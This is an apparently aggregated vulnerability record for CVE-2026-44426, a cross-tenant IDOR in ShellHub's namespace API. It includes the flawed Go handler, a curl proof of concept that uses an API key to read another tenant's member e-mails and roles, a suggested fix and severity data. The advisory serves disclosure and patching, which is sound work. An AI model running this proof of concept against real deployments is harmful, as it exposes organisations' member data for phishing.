{"id":"CVE-2026-44426","aliases":["CVE-2026-44426","GHSA-vwx9-7qcf-gg7f","GO-2026-5680"],"related":[],"kind":"vulnerability","state":"published","title":"ShellHub: Cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses  membership check","summary":"ShellHub is a centralized SSH gateway. Prior to 0.24.2, GET /api/namespaces/:tenant returns the full namespace object — including\nthe members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an API Key, for any tenant, regardless of the API Key's own tenant scope. The handler conditionally skips the membership check when the user ID (X-ID) is absent, which is exactly the case for API Key authentication. This vulnerability is fixed in 0.24.2.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"ShellHub is a centralized SSH gateway. Prior to 0.24.2, GET /api/namespaces/:tenant returns the full namespace object — including\nthe members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an API Key, for any tenant, regardless of the API Key's own tenant scope. The handler conditionally skips the membership check when the user ID (X-ID) is absent, which is exactly the case for API Key authentication. This vulnerability is fixed in 0.24.2.","source":"cvelist"},{"lang":"en","text":"## Summary\n`GET /api/namespaces/:tenant` returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an **API Key**, for any tenant, regardless of the API Key's own tenant scope.\n\nThe handler conditionally skips the membership check when the user ID (`X-ID`) is absent, which is exactly the case for API Key authentication.\n\n## Affected versions\nShellHub Community v0.24.1 (validated).\n\n## Root cause\n`api/routes/nsadm.go:75-102` — membership check is skipped when `c.ID()` is nil:\n\n  ```go\n  var uid string\n  if c.ID() != nil {\n      uid = c.ID().ID\n  }\n\n  ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)\n  if err != nil || ns == nil {\n      return c.NoContent(http.StatusNotFound)\n  }\n\n  if uid != \"\" {                              // ⚠️ skipped when API Key is used\n      if _, ok := ns.FindMember(uid); !ok {\n          return c.NoContent(http.StatusForbidden)\n      }\n  }\n\n  return c.JSON(http.StatusOK, ns)\n  ```\n\n  `AuthRequest` (`api/routes/auth.go:53-64`) sets only `X-Tenant-ID`, `X-Role`,\n  and `X-API-KEY` for API Key authentication — never `X-ID`. So\n  `c.Request().Header.Get(\"X-ID\")` returns `\"\"`, `c.ID()` returns `nil`, and\n  the membership check is bypassed.\n\n## Proof of concept (validated live against v0.24.1)\n\n  ```bash\n  # Attacker authenticates in their own namespace and mints an API Key\n  ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"username\":\"attacker\",\"password\":\"...\"}' | jq -r .token)\n\n  ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"name\":\"poc\",\"expires_at\":30}' | jq -r .id)\n\n  # Baseline: same request with JWT is correctly blocked\n  curl -i http://target/api/namespaces/<victim-tenant-uuid> \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\"\n  # Observed: HTTP 403 (correct)\n\n  # Exploit: same request with API Key returns full namespace\n  curl -i http://target/api/namespaces/<victim-tenant-uuid> \\\n    -H \"X-API-Key: $ATTACKER_KEY\"\n  # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],\n  #                      settings, max_devices, devices_accepted_count, type, created_at}\n  ```\n\n## Impact\n  - Enumeration of any ShellHub namespace by tenant UUID.\n  - Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.\n  - Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.\n\n## Suggested fix\nTwo layers:\n\n  1. **Primary** — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:\n\n     ```go\n     // nsadm.go GetNamespace\n     if c.Tenant() != nil && c.Tenant().ID != req.Tenant {\n         return c.NoContent(http.StatusForbidden)\n     }\n     ```","format":"markdown","source":"ghsa"},{"lang":"en","text":"ShellHub has cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses membership check in github.com/shellhub-io/shellhub","format":"markdown","source":"go"},{"lang":"es","text":"ShellHub es una pasarela SSH centralizada. Antes de la versión 0.24.2, GET /api/namespaces/:tenant devuelve el objeto de espacio de nombres completo - incluyendo la lista de miembros (IDs de usuario, correos electrónicos, roles), la configuración y el recuento de dispositivos - a cualquier llamador autenticado por una clave API, para cualquier inquilino, independientemente del alcance de inquilino de la propia clave API. El gestor omite condicionalmente la verificación de membresía cuando el ID de usuario (X-ID) está ausente, lo cual es exactamente el caso para la autenticación con clave API. Esta vulnerabilidad se corrige en la versión 0.24.2.","source":"nvd"}],"published":"2026-05-07T03:02:28.000Z","modified":"2026-11-11T20:10:00.273Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-639"],"affected":[{"ranges":[{"version":"< 0.24.2","status":"affected"}],"vendor":"shellhub-io","product":"shellhub","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.24.2"}],"ecosystem":"Go","package":"github.com/shellhub-io/shellhub","purl":"pkg:golang/github.com/shellhub-io/shellhub","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.24.2"}],"ecosystem":"Go","package":"github.com/shellhub-io/shellhub","purl":"pkg:golang/github.com/shellhub-io/shellhub","source":"go"},{"ranges":[{"status":"affected","fixed":"0.24.2"}],"vendor":"shellhub","product":"shellhub","cpe":"cpe:2.3:a:shellhub:shellhub:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/shellhub-io/shellhub/security/advisories/GHSA-vwx9-7qcf-gg7f","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44426","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/shellhub-io/shellhub","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-05-14T15:54:14.455Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-44426","url":"https://www.cve.org/CVERecord?id=CVE-2026-44426","licence":"CVE Terms of Use","modified":"2026-05-14T15:54:46.896Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-vwx9-7qcf-gg7f","url":"https://github.com/advisories/GHSA-vwx9-7qcf-gg7f","licence":"CC-BY-4.0","modified":"2026-06-25T23:11:32.461Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5680","url":"https://pkg.go.dev/vuln/GO-2026-5680","licence":"CC-BY-4.0","modified":"2026-06-25T23:01:25.595Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-44426","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44426","licence":"Public domain","modified":"2026-11-11T20:10:00.273Z"}],"updatedAt":"2026-11-25T22:59:21.673Z","epss":{"score":0.00308,"percentile":0.25419,"date":"2026-12-01T12:00:22.000Z"}}